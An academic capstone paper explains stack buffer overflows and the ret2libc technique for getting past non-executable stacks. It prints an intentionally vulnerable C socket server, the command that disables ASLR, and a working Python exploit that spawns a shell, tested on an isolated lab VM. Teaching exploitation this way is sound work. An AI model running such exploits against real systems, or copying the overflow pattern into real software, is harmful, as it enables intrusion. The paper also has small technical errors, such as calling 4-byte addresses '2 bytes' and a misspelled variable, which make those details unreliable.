Binary Exploitation in the presence of some mitigations

Captsone Project

American University of Armenia

Student: Davit Babajanyan

Supervisor: Hayk Nersisyan

Contents

1 Abstract

This paper aims to present an example of a binary exploitation technique against a custom developed executable that contains a buffer overrun vulnerability. The system hosting the vulnerable executable only has Executable Space Protection(ESP) or the NX bit enabled, are disabled. The sample vulnerable executable is written in the memory unsafe C programming language that does not perform bounds checking on buffers that it writes data to, while the proof of concept exploit has been developed with Python. Background information such as knowledge required to understand the proof of concept itself and academic research regarding the topic is also provided to provide a more complete picture of the exploit development industry.

2 Prerequisite knowledge

Since binary exploitation deals most often with object code running in process memory, it is imperative to understand low-level components running under common abstraction interfaces exposed by modern operating systems. Several topics required to understand the process are the following - process memory structure in Unix-like operating systems, 32-bit assembly language on the x86 instruction set architecture and the intricacies of the ESP memory protection mechanism.

2.1 Process memory structure

Each operating system has a unique format for storing its executables on disk and a correspondingly unique structure of managing the memory of the process that hosts said executable. The most common format used by Unix-like operating systems employing the Linux kernel is the Executable and Linkable Format(ELF), the structure of ELF executables in the operating system's virtual memory is outlined in the table below with known memory address ranges‘

Kernel virtual memory(code, data, heap,stack)	0xFFFFFFFF 0xC0000000
Environmental variables, process arguments and etc	
Host process stack (grows downwards)	
Region mapped for shared libraries	0x40000000
Heap - managed by malloc (grows upwards)	
Uninitialized data - Read/Write (.data, .bss)	
Initialized data - Read-only (.init, .text, .rodata)	0x08048000
Unallocated area	0x00000000

1. The Kernel virtual memory region is not accessible to processes, this access control mechanism is provided both by the operating system and the memory managed unit(MMU), which is responsible for translating virtual memory addresses to physical one for the central processing unit(CPU). As indicated by the 4-byte hexadecimal addresses, it takes up the higher-most region of virtual memory.

2. The upper part of userspace virtual memory is occupied by the environmental variables and arguments of the process that hosts the executable.

3. The stack is perhaps the most important region of all, as the name indicates it is implemented as a stack data structure, where each element pushed onto is called a stack frame, it is important to note that every new frame has a lower memory address than the previous one. The CPU uses stack frames to managed functions/function calls, each frame corresponds to a single function and contains it's local variables, arguments and other auxiliary data needed to managed the execution of a function.

4. The shared libraries regions is managed by the system linker and contains both common libraries provided by OS to interact with the kernel(such as the libc library) and custom developed libraries needed by the executable, these are stored in an ELF format.

5. The heap is memory region provided to the application for dynamically storing data and is managed through the `malloc()` function, in contrast to the stack, its memory addresses increase with every new allocation.

6. The uninitialized data region is self descriptive in that it hosts objects such as variables that have been initialized, but not assigned any values.

7. The initialized data region contains not only global variables and such, but also the whole object code of the executable that needs to be executed during runtime.

2.2 x86 Assembly language

The most important aspects of assembly language relevant to this paper are the registers used for controlling the execution flow during runtime. As a high level description, the assembly language is the last human accessible abstraction before execution routines are compiled into object code.

The most basic building blocks of the language are mathematical and bitwise/binary instructions, along with instructions that move data from one storage site to another. These storage sites are called registers and while some serve as general-purpose data storage buckets, there are several that have specific use-cases, the most important to note is the Extended Instruction Pointer(EIP) 4-byte register, which stores the address of the next instruction to be executed, it acts as the proverbial reigns on the horse that is the CPU - steering it in the direction of the instructions that need to be executed for the completion of execution routines.

While it is possible to directly `move` the address of an instruction into the EIP, more often than not this method is not employed, instead the `ret` instruction(stands for return) is used to move execution from one function to another, the importance of this instruction will be articulated in the upcoming sections.

2.3 Executable Space Protection

While bypassing ESP and gaining successful code execution is the main goal of this paper, it is important to understand the state of binary exploitation before the introduction of ESP. The first exploits mostly targeted buffer overflow vulnerabilities in stack buffers, malicious actors simply instructed their exploits to write object code into the stack memory region and pointed the EIP into that code to execute it, these code blocks are usually called shellcode, because their most common purpose was to provide shell access to the host running the vulnerable application.

ESP aimed to solve this problem through the introduction of a specific bit in the memory addressing routine of CPUs that explicitly marked whether the code stored at the memory address may be executed or not, hence the reason for the name "NX(no execute) bit" that is commonly used to refer to this technology. While this solution is hardware based and only present in CPUs of a specific year and newer, some operating system have used software mechanisms to emulate the mitigation mechanism on legacy CPUs.

After the introduction of ESP, operating systems quickly started marking the stack memory regions as non-executable, effectively mitigating most exploits used at the time, since even if the shellcode used syscalls to instruct the kernel to change the access control list of a memory address and add execution permissions, ESP's NX bit could not be disabled as its integrity was guaranteed through hardware means.

2.4 Bypassing ESP

It did not take long for exploit developers to come up with effective bypass methods against ESP. Since any code written onto the stack became effectively useless, developers turned to memory regions already containing potentially useful code that could not be marked non-executable without breaking the execution flow of the application itself, such as the shared libraries or the text region containing the executable.

The exact name of the technique employed in the proof of concept of this paper is commonly called Ret2Libc, the name stems from the fact that it involves finding the address of useful functions inside the Libc library before execution and directing the EIP into executing those.

3 High level theory concerning binary exploitation

Academic research regarding binary exploitation gained traction after the publication of the seminal paper named Smashing The Stack For Fun And Profit(Levy, 1996). The informal name of "stack smashing" referred to the exploitation of buffer overflow vulnerabilities that resulted in write access to memory addresses of a process' stack. From that point onwards a cat and mouse game has been played between exploit developers and security researchers, where the latter created mitigations against specific exploitation techniques and the former found new avenues of exploitation while bypassing the protections in place.

After the development of bypasses against ESP, the most impactful mitigation introduced has been Address Space Layout Randomization(ASLR), which aims to randomize the addresses where executables load into memory, thereby making it impossible to determine where libraries and their function will be located before runtime. The technique used in this paper can be thwarted by the use of ASLR, further exploitation against a binary protected by both ESP and ASLR would require the use of Return Oriented Programming(ROP) and an additional information leakage vulnerability to gain successful code execution.

Formal theory regarding the exploitation of binaries developed with the use of memory unsafe languages has emerged in the past two decades, the collective knowledge has centered around the concept of Weird Machines(Bratus, 2011). The theory stipulates that there is a virtual automaton available for programming in any program that accepts user input, therefore the primary objective has been established as reaching the said automata.

4 Proof of concept exploit development

The code of the vulnerable binary is presented below‘

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>

int capstone(int client_fd)
{
  char buffer[500];
  int input;
  input = read(client_fd, buffer, 700);
  printf("got %d bytes\n", input);

  return 0;
}

int main (int argc, char **argv, char **envp)
{
        int server_fd, client_fd;
        socklen_t client_length;
        struct sockaddr_in server_addr, client_addr;

        server_fd = socket(AF_INET, SOCK_STREAM, 0);
        if (server_fd < 0)
        {
                fprintf(stderr, "Unable to open socket\n");
                exit(EXIT_FAILURE);
        }

        server_addr.sin_family = AF_INET;
        server_addr.sin_addr.s_addr = INADDR_ANY;
        server_addr.sin_port = htons(1234);

        if (bind(server_fd, (struct sockaddr *) &server_addr, sizeof(server_addr)) < 0)
        {
                fprintf(stderr, "Cannot bind(). Exiting...\n");
                exit(EXIT_FAILURE);
        }

        if (listen(server_fd, 20) != 0)
        {
                fprintf(stderr, "Cannot listen(). Exiting...\n");
                exit(EXIT_FAILURE);
        }

        while (1)
        {
                client_lenght = sizeof(client_addr);
                client_fd = accept(server_fd, (struct sockaddr *) &client_addr,
 ↪  &client_lenght);
                if (client_fd < 0)
                fprintf(stderr, "Cannot accept().\n");

                capstone(client_fd);

                close(client_fd);
        }

        close(server_fd);

        return 0;
```

```
}
```

The `capstone()` function allocates a 500 byte buffer of `chars`, which as a local variable will saved on the stack, afterwards user input of up to 700 bytes in size is passed into it through the `read()` function. Most of the `main()` function simply sets up a TCP listener on port 1234 that passes whatever data it receives as an argument to `capstone()` in a loop, which in turn feeds it into `char buffer`. This effectively sets up the binary for a buffer overflow vulnerability, since any input sent to the port greater in size than 500 bytes will be written onto the stack.

The system hosting the executable is a Linux Debian 11 virtual machine, with ASLR disabled using - `echo 0 | tee /proc/sys/kernel/randomize_va_space`. The proof of concept is run from the host system running the hypervisor, inside an isolated virtual network and upon execution spawns a bash shell on the target machine, the source code is outlined below‘

```python
#!/bin/env python3
import socket


filler = 'A' * 516
eip = '\x40\x10\xe2\xb7' # address of system@glibc - 0xb7e21040
exiter = '\x90\x39\xe1\xb7' # address of exit@glibc - 0xb7e13990
shell = '\x26\xfe\xff\xbf' # address of "/bin/bash" - 0xbffffe26


buffer = filler + eip + exiter + shell


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


s.connect(("192.168.2.21", 1234))
s.send(bytes(buffer, encoding='latin-1'))


s.close
```

The exploit script is quite simple in that it simply connects to the port exposed by the vulnerable **capstone** executable and sends 528 bytes of carefully crafted data to it. The first 516 is a filler used to reach the EIP after the overflow, the next 2 bytes which will go directly into EIP contain the address of the `system()` function in the `GLIBC` library, the next 2 contain the address of the `exit()` from the same library and the last 2 have the address of a "/bin/bash" string found inside the process memory. The last one is passed as an argument to the `system()` function mentioned previously according to the x86 calling conventions, resulting in the execution of the interpreter. This can be verified by viewing the Process ID of the bash instance with `echo $$` before the execution of program and after the exploit has been launched.

5 Future Work

The proof of concept exploit has been developed against a machine with significantly lowered defenses and similarly the binary has been specifically compiled without stack protection. For the exploit to work against a binary/system with state of the art protection applied, at least one more vulnerability would need to exposed on binary to leak the memory address of some important library functions and furthermore a simple return to a function would have to be substituted with a full ROP chain.

References

1. Aleph one paper - `http://www.phrack.org/issues.html?issue=49&id=14`

2. sergey bratus - `https://langsec.org/papers/Bratus.pdf0`

3. one more exploitation paper - `https://www.cs.dartmouth.edu/~sergey/wm/`

4. github link of repo